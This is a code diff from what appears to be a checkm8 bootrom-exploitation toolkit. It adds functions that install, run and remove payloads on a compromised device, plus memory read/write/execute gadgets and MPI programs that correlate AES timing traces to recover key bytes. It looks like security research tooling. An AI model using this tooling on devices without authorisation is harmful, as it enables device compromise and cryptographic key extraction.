int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
{
@@ -152,7 +248,7 @@ int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
struct dev_cmd_resp *resp = NULL;
struct payload *pl = get_payload(p);
long long addr = get_address(dev, loc);
DEV_PTR_T addr = get_address(dev, loc, pl->len);
if(pl == NULL || addr == -1)
{
@@ -177,13 +273,60 @@ int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p)
{
//TODO: free memory in memory allocator
checkm8_debug_indent("uninstall payload(dev = %p, p = %i)\n", dev, p);
struct payload *pl = dev_retrieve_payload(dev, p);
if(pl == NULL)
{
checkm8_debug_indent("\tinvalid args (payload)\n");
return CHECKM8_FAIL_INVARGS;
}
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, pl->install_base)))
{
checkm8_debug_indent("\tfailed to free memory used by payload!\n");
return CHECKM8_FAIL_XFER;
}
dev_unlink_payload(dev, pl);
free(pl);
return CHECKM8_SUCCESS;
}
int uninstall_all_payloads(struct pwned_device *dev)
{
checkm8_debug_indent("uninstall_all_payloads(dev = %p)\n");
int ret;
while(dev->inst_pl != NULL)
{
ret = uninstall_payload(dev, dev->inst_pl->type);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\terror while uninstalling\n");
return ret;
}
}
return CHECKM8_SUCCESS;
}
DEV_PTR_T get_payload_address(struct pwned_device *dev, PAYLOAD_T p)
{
struct payload *pl = dev_retrieve_payload(dev, p);
if(pl == NULL)
{
return DEV_PTR_NULL;
}
else
{
return pl->install_base;
}
}
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...)
{
checkm8_debug_indent("execute_payload(dev = %p, p = %i, nargs = %i, ...)\n", dev, p, nargs);
checkm8_debug_indent("execute_payload(dev = %p, p = %i, response_len = %i, nargs = %i, ...)\n",
dev, p, response_len, nargs);
int i;
struct dev_cmd_resp *resp;
struct payload *pl;
@@ -212,19 +355,215 @@ struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int
return dev_exec(dev, response_len, nargs + 1, args);
}
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, long long addr, int len)
unsigned long long setup_payload_async(struct pwned_device *dev, PAYLOAD_T p, int bufsize, int nargs, ...)
{
checkm8_debug_indent("setup_payload_async(dev = %p, p = %i, bufsize = %i, nargs = %i, ...)\n",
dev, p, bufsize, bufsize, nargs);
int i;
struct dev_cmd_resp *resp;
struct payload *pl;
DEV_PTR_T buf_addr;
unsigned long long buf_args[nargs], task_args[5];
if((pl = dev_retrieve_payload(dev, p)) == NULL)
{
checkm8_debug_indent("\tpayload is not installed\n");
return DEV_PTR_NULL;
}
checkm8_debug_indent("\tadjusting buffer size (if necessary)\n");
if(bufsize < nargs * sizeof(unsigned long long))
{
checkm8_debug_indent("\texpanding buffer to fit (at least) provided arguments\n");
bufsize = nargs * sizeof(unsigned long long);
}
buf_addr = get_address(dev, SRAM, bufsize);
if(buf_addr == DEV_PTR_NULL)
{
checkm8_debug_indent("\tfailed to get a shared buffer for the payload\n");
return DEV_PTR_NULL;
}
va_list arg_list;
va_start(arg_list, nargs);
for(i = 0; i < nargs; i++)
{
buf_args[i] = va_arg(arg_list, unsigned long long);
checkm8_debug_indent("\textracted arg %lx\n", buf_args[i]);
}
va_end(arg_list);
resp = dev_write_memory(dev, buf_addr, (unsigned char *) buf_args, nargs * sizeof(unsigned long long));
if(IS_CHECKM8_FAIL(resp->ret))
{
checkm8_debug_indent("\tfailed to write args to shared buffer\n");
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
{
checkm8_debug_indent("\talso failed to free buffer (something is really wrong)\n");
}
free_dev_cmd_resp(resp);
return DEV_PTR_NULL;
}
task_args[0] = ADDR_TASK_NEW;
task_args[1] = 0x10001943b; // todo: name pointer
task_args[2] = pl->install_base;
task_args[3] = buf_addr;
task_args[4] = 0x4000;
resp = dev_exec(dev, 0, 5, task_args);
if(IS_CHECKM8_FAIL(resp->ret))
{
checkm8_debug_indent("\tfailed to create a new task\n");
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
{
checkm8_debug_indent("\talso failed to free buffer (something is really wrong)\n");
}
free_dev_cmd_resp(resp);
return DEV_PTR_NULL;
}
pl->async_base = resp->retval;
free_dev_cmd_resp(resp);
return buf_addr;
}
int run_payload_async(struct pwned_device *dev, PAYLOAD_T p)
{
checkm8_debug_indent("run_payload_async(dev = %p, payload = %i)\n", dev, p);
struct payload *pl;
struct dev_cmd_resp *resp;
unsigned long long args[2];
int retval;
if((pl = dev_retrieve_payload(dev, p)) == NULL)
{
checkm8_debug_indent("\tpayload is not installed!\n");
return CHECKM8_FAIL_NOINST;
}
if(pl->async_base == DEV_PTR_NULL)
{
checkm8_debug_indent("\tasync payload is not set up correctly!\n");
return CHECKM8_FAIL_NOINST;
}
args[0] = ADDR_TASK_RUN;
args[1] = pl->async_base;
resp = dev_exec(dev, 0, 2, args);
retval = resp->ret;
free_dev_cmd_resp(resp);
return retval;
}
int kill_payload_async(struct pwned_device *dev, PAYLOAD_T p, DEV_PTR_T buf_addr)
{
checkm8_debug_indent("kill_payload_async(dev = %p, p = %i, buf_addr = %llx)\n", dev, p, buf_addr);
struct payload *pl;
struct dev_cmd_resp *resp;
unsigned long long args[2];
if((pl = dev_retrieve_payload(dev, p)) == NULL)
{
checkm8_debug_indent("\tpayload is not installed\n");
return CHECKM8_FAIL_NOINST;
}
if(pl->async_base == DEV_PTR_NULL)
{
checkm8_debug_indent("\tasync payload is not set up correctly\n");
return CHECKM8_FAIL_NOINST;
}
args[0] = ADDR_TASK_FREE;
args[1] = pl->async_base;
resp = dev_exec(dev, 0, 2, args);
pl->async_base = DEV_PTR_NULL;
if(IS_CHECKM8_FAIL(resp->ret))
{
checkm8_debug_indent("\tfailed to kill payload\n");
free_dev_cmd_resp(resp);
return CHECKM8_FAIL_XFER;
}
free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
{
checkm8_debug_indent("\tfailed to free shared buffer\n");
return CHECKM8_FAIL_XFER;
}
return CHECKM8_SUCCESS;
}
DEV_PTR_T install_data(struct pwned_device *dev, LOCATION_T loc, unsigned char *data, int len)
{
checkm8_debug_indent("install_data(dev = %p, loc = %i, data = %p, len = %i)\n", dev, loc, data, len);
struct dev_cmd_resp *resp;
DEV_PTR_T addr = get_address(dev, loc, len);
if(addr == DEV_PTR_NULL)
{
checkm8_debug_indent("\tfailed to get an address\n");
return DEV_PTR_NULL;
}
checkm8_debug_indent("\twriting data to address %X\n", addr);
resp = dev_write_memory(dev, addr, data, len);
if(IS_CHECKM8_FAIL(resp->ret))
{
checkm8_debug_indent("\tfailed to write data\n");
return -1;
}
free_dev_cmd_resp(resp);
return addr;
}
int uninstall_data(struct pwned_device *dev, DEV_PTR_T addr)
{
checkm8_debug_indent("uninstall_data(dev = %p, addr = %X)\n", dev, addr);
return free_address(dev, SRAM, addr);
}
int uninstall_all_data(struct pwned_device *dev)
{
checkm8_debug_indent("uninstall_all_data(dev = %p)\n", dev);
int retval;
while(dev->inst_data != NULL)
{
retval = uninstall_data(dev, dev->inst_data->addr);
if(IS_CHECKM8_FAIL(retval))
{
checkm8_debug_indent("\terror while uninstalling data\n");
return retval;
}
}
return CHECKM8_SUCCESS;
}
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, DEV_PTR_T addr, int len)
{
checkm8_debug_indent("read_gadget(dev = %p, addr = %lx, len = %i)\n", dev, addr, len);
return dev_read_memory(dev, addr, len);
}
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, long long addr, unsigned char *data, int len)
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, DEV_PTR_T addr, unsigned char *data, int len)
{
checkm8_debug_indent("write_gadget(dev = %p, addr = %lx, data = %p, len = %i)\n", dev, addr, data, len);
return dev_write_memory(dev, addr, data, len);
}
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, long long addr, int response_len, int nargs, ...)
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, DEV_PTR_T addr, int response_len, int nargs, ...)
{
checkm8_debug_indent("execute_gadget(dev = %p, addr = %lx, nargs = %i)\n", dev, addr, nargs);
int i;

View File

@@ -1,4 +1,4 @@
#include "usb_helpers.h"
#include "tool/usb_helpers.h"
#ifdef WITH_ARDUINO
@@ -517,6 +517,12 @@ int ctrl_transfer(struct pwned_device *dev,
// get the size of this chunk
size = 0;
ard_read(dev, (unsigned char *) &size, 2);
if(size > ARD_BUF_SIZE)
{
checkm8_debug_indent("\treceived bad chunk size %i\n", size);
return CHECKM8_FAIL_XFER;
}
checkm8_debug_indent("\treceiving data chunk of size %i\n", size);
ard_read(dev, (unsigned char *) &data[amount], size);

View File

@@ -3,7 +3,7 @@
#define CHECKM8_LOGGING
#define WITH_ARDUINO
//#define WITH_ARDUINO
#define ARDUINO_DEV "/dev/ttyACM0"
#define ARDUINO_BAUD 115200

14
tools/CMakeLists.txt Normal file
View File

@@ -0,0 +1,14 @@
cmake_minimum_required(VERSION 3.10)
project(tools C)
set(CMAKE_C_STANDARD 99)
set(CMAKE_C_FLAGS "-g -Wall -fopenmp")
include_directories(include)
add_executable(tool_strip correlation/strip/main.c)
add_executable(tool_analyze correlation/analyze/main.c)
add_executable(tool_verify correlation/verify/main.c)
target_link_libraries(tool_analyze host_crypto mpi m)
target_link_libraries(tool_verify host_crypto m)

View File

@@ -0,0 +1,35 @@
#!/bin/bash
#SBATCH -J correlate
#SBATCH -o corr.%j.out
#SBATCH -N 8
#SBATCH -n 8
#SBATCH -t 01:30:00
#SBATCH -p broadwell
NODEFILE=nodefile.txt
rank=0
echo $SLURM_NODELIST | tr -d c | tr -d [ | tr -d ] | perl -pe 's/(\d+)-(\d+)/join(",",$1..$2)/eg' | awk 'BEGIN { RS=","} { print "c"$1 }' > $NODEFILE
for node in `cat $NODEFILE`; do
ssh -n $node "[[ ! -f /tmp/ghaas/KEY ]] || mkdir -p /tmp/ghaas/ && tar -xf /home/ghaas/correlate/data00.tar.gz -C /tmp/ghaas" & pid[$rank]=$!
(( rank++ ))
done
rank=0
for node in `cat $NODEFILE`; do
echo "waiting on" $rank
wait ${pid[$rank]}
(( rank++ ))
done
prun ./analyze /tmp/ghaas
rank=0
for node in `cat $NODEFILE`; do
ssh -n $node "rm -r /tmp/ghaas" & pid[$rank]=$!
(( rank++ ))
done
rm $NODEFILE

View File

@@ -0,0 +1,323 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <sys/stat.h>
#include <mpich/mpi.h>
#include <omp.h>
#include "host_crypto.h"
#define N_FILES 48
#define N_NODES 8
#define FILE_PER_NODE (N_FILES / N_NODES)
#define MSG_SEPARATE 1024 * 256
#define ANALYZE_DEBUG 1
int read_data(unsigned char *dst, char *fname, unsigned int offset, unsigned int num)
{
unsigned long ret;
FILE *datafile = fopen(fname, "rb");
if(ANALYZE_DEBUG)
printf("read_data(dst = %p, fname = %s, offset = %i, num = %i)\n", dst, fname, offset, num);
if(datafile == NULL)
{
printf("failed to open datafile %s\n", fname);
return -1;
}
ret = fread(&dst[offset], 1, num, datafile);
if(ret != num)
{
printf("reading %s failed with ferror %i, feof %i\n",
fname, ferror(datafile), feof(datafile));
return -1;
}
fclose(datafile);
return 0;
}
struct summary_stats
{
double mean;
double stddev;
};
struct summary_stats *calculate_stats(unsigned char *data,
unsigned int len, int mul, int offset,
int rank, int nodes)
{
int i;
double mean = 0, stddev = 0, temp;
struct summary_stats *res;
MPI_Status status;
/*
* First calculate the mean
*/
#pragma omp parallel for num_threads(32) default(none) \
firstprivate(len, mul, offset) \
shared(data) \
reduction(+:mean)
for(i = 0; i < len; i++)
mean += (double) data[mul * i + offset];
if(rank == 0)
{
for(i = 1; i < nodes; i++)
{
MPI_Recv(&temp, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &status);
mean += temp;
}
mean /= (len * nodes);
for(i = 1; i < nodes; i++)
MPI_Send(&mean, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD);
}
else
{
MPI_Sendrecv_replace(&mean, 1, MPI_DOUBLE,
0, 0, 0, 0,
MPI_COMM_WORLD, &status);
}
/*
* Then the standard deviation
*/
#pragma omp parallel for num_threads(32) default(none) \
firstprivate(len, mul, offset, mean) \
shared(data) \
reduction(+:stddev)
for(i = 0; i < len; i++)
stddev += pow(data[mul * i + offset] - mean, 2);
if(rank == 0)
{
for(i = 1; i < nodes; i++)
{
MPI_Recv(&temp, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &status);
stddev += temp;
}
stddev = sqrt(stddev / (len * nodes));
for(i = 1; i < nodes; i++)
MPI_Send(&stddev, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD);
}
else
{
PMPI_Sendrecv_replace(&stddev, 1, MPI_DOUBLE,
0, 0, 0, 0,
MPI_COMM_WORLD, &status);
}
res = malloc(sizeof(struct summary_stats));
res->mean = mean;
res->stddev = stddev;
return res;
}
int main(int argc, char *argv[])
{
int i, j;
unsigned int i_byte, i_input, i_key, i_key_split;
unsigned int trace_per_file = 0, msg_per_file = 0, num_traces = 0;
int rank, nodes;
char timing_name[256], msg_name[256];
struct stat timing_finfo, msg_finfo;
FILE *keyfile;
struct aes_constants *c;
unsigned char key[16], key_sched[176], msg_new[16], key_hyp;
double cov, pearson, temp;
struct summary_stats *timing_stats, *model_stats;
unsigned char *msg = NULL, *timings = NULL, *model = NULL;
MPI_Status status;
if(argc != 2)
{
printf("usage: analyze [data dir]\n");
return -1;
}
/*
* First, read in the data from each file
*/
if(ANALYZE_DEBUG)
printf("initializing MPI\n");
MPI_Init(&argc, &argv);
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
MPI_Comm_size(MPI_COMM_WORLD, &nodes);
if(ANALYZE_DEBUG)
printf("getting initial sizes\n");
sprintf(timing_name, "%s/timing_key00_%i.bin", argv[1], rank);
sprintf(msg_name, "%s/msg_key00_%i.bin", argv[1], rank);
if(stat(timing_name, &timing_finfo) != 0)
{
printf("failed to stat %s\n", timing_name);
return -1;
}
if(stat(msg_name, &msg_finfo) != 0)
{
printf("failed to stat %s\n", msg_name);
return -1;
}
trace_per_file = timing_finfo.st_size;
msg_per_file = msg_finfo.st_size / 16;
num_traces = trace_per_file * FILE_PER_NODE;
if(ANALYZE_DEBUG)
printf("%i traces per file, %i msgs per file, %i total traces\n",
trace_per_file, msg_per_file, num_traces);
sprintf(timing_name, "%s/KEY", argv[1]);
keyfile = fopen(timing_name, "r");
if(keyfile == NULL)
{
printf("failed to open key file\n");
return -1;
}
for(i = 0; i < 16; i++)
{
fread(key_sched, 1, 2, keyfile);
key_sched[2] = 0;
key[i] = (unsigned char) strtol((char *) key_sched, NULL, 16);
}
fclose(keyfile);
if(ANALYZE_DEBUG)
printf("allocating memory\n");
// allocate memory (big!)
model = malloc(64 * num_traces);
msg = malloc(16 * num_traces);
timings = malloc(num_traces);
c = get_constants();
expand_key(key, key_sched, 11, c);
if(ANALYZE_DEBUG)
printf("beginning data read stage\n");
for(i = 0; i < FILE_PER_NODE; i++)
{
sprintf(timing_name, "%s/timing_key00_%i.bin", argv[1], rank * FILE_PER_NODE + i);
sprintf(msg_name, "%s/msg_key00_%i.bin", argv[1], rank * FILE_PER_NODE + i);
read_data(timings, timing_name, trace_per_file * (i % FILE_PER_NODE), trace_per_file);
read_data(msg, msg_name, msg_per_file * (i % FILE_PER_NODE), msg_per_file);
}
/*
* Then expand the messages so that we can create power models
*/
if(ANALYZE_DEBUG)
printf("beginning data expand stage\n");
#pragma omp parallel for num_threads(32) default(none) \
firstprivate(key_sched, msg_per_file) \
private(msg_new, j) \
shared(msg, c)
for(i = 0; i < FILE_PER_NODE * msg_per_file; i++)
{
memcpy(&msg[i * MSG_SEPARATE], &msg[i], 16);
memcpy(msg_new, &msg[i * MSG_SEPARATE], 16);
for(j = 0; j < MSG_SEPARATE - 1; j++)
{
aes128_encrypt_ecb(msg_new, 16, key_sched, c);
memcpy(&msg[i * MSG_SEPARATE + j + 1], msg_new, 16);
}
aes128_encrypt_ecb(msg_new, 16, key_sched, c);
for(j = 0; j < 16; j++)
{
if(msg_new[j] != msg[(i + 1) * MSG_SEPARATE - 16 + j])
{
break;
}
}
}
/*
* Start iterating through the byte positions
*/
timing_stats = calculate_stats(timings, num_traces, 1, 0, rank, nodes);
for(i_byte = 0; i_byte < 16; i_byte++)
{
for(i_key_split = 0; i_key_split < 4; i_key_split++)
{
#pragma omp parallel for num_threads(32) default(none) \
firstprivate(i_key_split, i_byte, num_traces) \
private(key_hyp, i_input) \
shared(model, msg) \
for(i_key = 0; i_key < 64; i_key++)
{
key_hyp = 4 * i_key_split + i_key;
for(i_input = 0; i_input < num_traces; i_input++)
{
//TODO: power model if this doesn't work
model[i_key * num_traces + i_input] = (msg[i_input * 16 + i_byte] ^ key_hyp) % 64;
}
}
for(i_key = 0; i_key < 64; i_key++)
{
model_stats = calculate_stats(model, num_traces, 1, i_key * num_traces, rank, nodes);
cov = 0;
#pragma omp parallel for num_threads(32) default(none) \
firstprivate(num_traces, i_key) \
shared(model, model_stats, timings, timing_stats) \
reduction(+:cov)
for(i_input = 0; i_input < num_traces; i_input++)
{
cov += (model[i_key * num_traces + i_input] - model_stats->mean) *
(timings[i_input] - timing_stats->mean);
}
if(rank == 0)
{
for(i = 1; i < nodes; i++)
{
MPI_Recv(&temp, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &status);
cov += temp;
}
cov /= (num_traces * nodes);
pearson = cov / (model_stats->stddev * timing_stats->stddev);
printf("%i\t%i\t%i\t%f\n", i_byte, i_key_split, i_key, pearson);
}
else
{
MPI_Send(&cov, 1, MPI_DOUBLE, 0, 0, MPI_COMM_WORLD);
}
}
}
}
free(timing_stats);
}

View File

@@ -0,0 +1,83 @@
#include <stdio.h>
#include <string.h>
#include <libgen.h>
struct entry
{
unsigned char msg[16];
unsigned char pad0;
unsigned char timing;
unsigned char pad1[2];
} __attribute__ ((packed));
int main(int argc, char *argv[])
{
FILE *infile, *timingfile, *msgfile;
char fname[128], c1[128], c2[128], *path, *name;
strcpy(c1, argv[1]);
strcpy(c2, argv[1]);
int count = 0;
unsigned long read;
struct entry e;
if(argc != 2)
{
printf("usage: strip [fname]\n");
return -1;
}
path = dirname(c1);
name = basename(c2);
infile = fopen(argv[1], "rb");
if(infile == NULL)
{
printf("failed to open file %s\n", argv[1]);
return -1;
}
sprintf(fname, "%s/timing_%s", path, name);
timingfile = fopen(fname, "wb");
if(timingfile == NULL)
{
printf("failed to open timing output\n");
return -1;
}
sprintf(fname, "%s/msg_%s", path, name);
msgfile = fopen(fname, "wb");
if(msgfile == NULL)
{
printf("failed to open message output\n");
return -1;
}
while(!(ferror(infile) || feof(infile)))
{
read = fread(&e, sizeof(struct entry), 1, infile);
if(read != 1)
break;
fwrite(&e.timing, 1, 1, timingfile);
if(count % (1024 * 256) == 0)
{
fwrite(&e.msg, 16, 1, msgfile);
printf("stripped %i entries\n", count);
}
count++;
}
printf("strip finished with ferror %i feof %i\n", ferror(infile), feof(infile));
fflush(timingfile);
fflush(msgfile);
fclose(infile);
fclose(timingfile);
fclose(msgfile);
return 0;
}

View File

@@ -0,0 +1,147 @@
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <math.h>
#include "host_crypto.h"
int main(int argc, char *argv[])
{
int b, i, j, k, l, num;
unsigned char timing;
unsigned char msg[16];
unsigned char key[16];
unsigned char key_sched[176];
struct aes_constants *c;
double t[16][256];
double tsq[16][256];
double tnum[16][256];
double u[16][256];
double udev[16][256];
double taverage;
unsigned long long count = 0, ttotal = 0;
FILE *keyfile, *msgfile, *timefile, *outfile;
char timing_name[256], msg_name[256], linebuf[256];
if(argc != 2)
{
printf("usage: verify [data dir]\n");
return -1;
}
sprintf(timing_name, "%s/KEY", argv[1]);
keyfile = fopen(timing_name, "r");
if(keyfile == NULL)
{
printf("failed to open key file\n");
return -1;
}
for(i = 0; i < 16; i++)
{
fread(key_sched, 1, 2, keyfile);
key_sched[2] = 0;
key[i] = (unsigned char) strtol((char *) key_sched, NULL, 16);
}
fclose(keyfile);
c = get_constants();
expand_key(key, key_sched, 11, c);
for(i = 0; i < 46; i++)
{
num = 0;
sprintf(msg_name, "%s/msg_key00_%i.bin", argv[1], i);
sprintf(timing_name, "%s/timing_key00_%i.bin", argv[1], i);
msgfile = fopen(msg_name, "rb");
if(msgfile == NULL)
{
printf("failed to open msgfile %s\n", msg_name);
return -1;
}
timefile = fopen(timing_name, "rb");
if(timefile == NULL)
{
printf("failed to open timing file %s\n", timing_name);
return -1;
}
printf("file %i\n", i);
for(j = 0; j < 375; j++)
{
fread(msg, 16, 1, msgfile);
fread(&timing, 1, 1, timefile);
printf("%i\t", num++);
for(k = 0; k < 16; k++)
printf("%02X", msg[k]);
for(k = 0; k < 1024 * 256; k++)
{
for(l = 0; l < 16; l++)
{
t[l][msg[l]] += timing;
tsq[l][msg[l]] += (timing * timing);
tnum[l][msg[l]] += 1;
count++;
ttotal += timing;
}
fread(&timing, 1, 1, timefile);
aes128_encrypt_ecb(msg, 16, key_sched, c);
}
printf(" -> ");
for(k = 0; k < 16; k++)
printf("%02X", msg[k]);
printf("\n");
}
fclose(msgfile);
fclose(timefile);
}
taverage = ttotal / (double) count;
for(j = 0; j < 16; j++)
{
for(b = 0; b < 256; b++)
{
u[j][b] = t[j][b] / tnum[j][b];
udev[j][b] = tsq[j][b] / tnum[j][b];
udev[j][b] -= u[j][b] * u[j][b];
udev[j][b] = sqrt(udev[j][b]);
}
}
sprintf(linebuf, "dat_%lli.dat", count / 16 / 100000);
outfile = fopen(linebuf, "w+");
if(outfile == NULL)
{
printf("failed to open data file\n");
return -1;
}
for(j = 0; j < 16; j++)
{
for(b = 0; b < 256; b++)
{
sprintf(linebuf,
"%2d %3d %lli %f %f %f %f\n",
j, b, (long long) tnum[j][b],
u[j][b], udev[j][b],
u[j][b] - taverage, udev[j][b] / sqrt(tnum[j][b]));
fputs(linebuf, outfile);
}
}
fclose(outfile);
}

View File

@@ -0,0 +1,20 @@
#ifndef CHECKM8_TOOL_HOST_CRYPTO_H
#define CHECKM8_TOOL_HOST_CRYPTO_H
struct aes_constants
{
unsigned char sbox[16][16];
unsigned char rc_lookup[11];
unsigned char mul2[256];
unsigned char mul3[256];
} __attribute__ ((packed));
void expand_key(unsigned char key[16], unsigned char key_sched[176],
int n, struct aes_constants *c);
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
unsigned char key_sched[176], struct aes_constants *c);
struct aes_constants *get_constants();
#endif //CHECKM8_TOOL_HOST_CRYPTO_H

111
tools/scripts/profile.py Normal file
View File

@@ -0,0 +1,111 @@
import gdb
def val_from_sym(name):
print 'getting value for %s' % name
try:
if name == 'wzr' or name == 'xzr':
return '0'
elif name[0] == '#':
return name
elif name[0] in ['x', 'w']:
return '0x{:x}'.format(int(gdb.selected_frame().read_register(name)))
else:
return None
except:
return 'val?'
class Profile(gdb.Command):
def __init__(self):
super(Profile, self).__init__("profile", gdb.COMMAND_USER)
def invoke(self, args, from_tty):
argv = gdb.string_to_argv(args)
if len(argv) != 1:
raise gdb.GdbError("Usage: profile [fname]")
arch = gdb.selected_frame().architecture()
instr_type = gdb.lookup_type("unsigned int").pointer()
next_dest = None
stack = []
outfile = open(argv[0], "a+")
while True:
if next_dest is not None:
outfile.write('\tdest %s\n' % val_from_sym(next_dest))
next_dest = None
addr = gdb.selected_frame().read_register("pc")
instr = arch.disassemble(int(str(addr), 16))[0]['asm']
if instr == '.inst\t0x00000000 ; undefined':
break
instr_spl = instr.split()
mnem = instr_spl[0]
dest = None
arg1 = None
arg2 = None
outfile.write('\n%s\t%s\n' % (addr, instr))
if len(instr_spl) > 1:
dest = instr_spl[1].strip(',')
if len(instr_spl) > 2:
arg1 = instr_spl[2].strip(',')
if len(instr_spl) > 3:
arg2 = instr_spl[3].strip(',')
if mnem == 'bl' or mnem == 'blr':
outfile.write('\tentering %s\n' % dest)
stack.append(dest)
outfile.write('\targs: [')
for reg in ['x0', 'x1', 'x2', 'x3', 'x4', 'x5', 'x6', 'x7']:
outfile.write('%s, ' % val_from_sym(reg))
outfile.write(']\n')
elif mnem == 'ret':
if len(stack) > 0:
outfile.write('\tfinished %s\n' % stack.pop())
else:
outfile.write('\tfinished ??\n')
outfile.write('\tretval %s\n' % val_from_sym('x0'))
elif mnem == 'ldr' or mnem == 'ldp':
outfile.write('\tdest %s\n' % val_from_sym(dest))
if mnem == 'ldp':
outfile.write('\tdest %s\n' % val_from_sym(arg1))
elif mnem == 'str' or mnem == 'stp':
outfile.write('\targ1 %s\n' % val_from_sym(dest))
if mnem == 'stp':
outfile.write('\targ2 %s\n' % val_from_sym(arg1))
else:
if dest is not None and dest[0] in ['x', 'w']:
next_dest = dest
if arg1 is not None:
val = val_from_sym(arg1)
if val is not None:
outfile.write('\targ1 %s\n' % val)
if arg2 is not None:
val = val_from_sym(arg2)
if val is not None:
outfile.write('\targ2 %s\n' % val)
gdb.execute("stepi", to_string=False)
outfile.close()
Profile()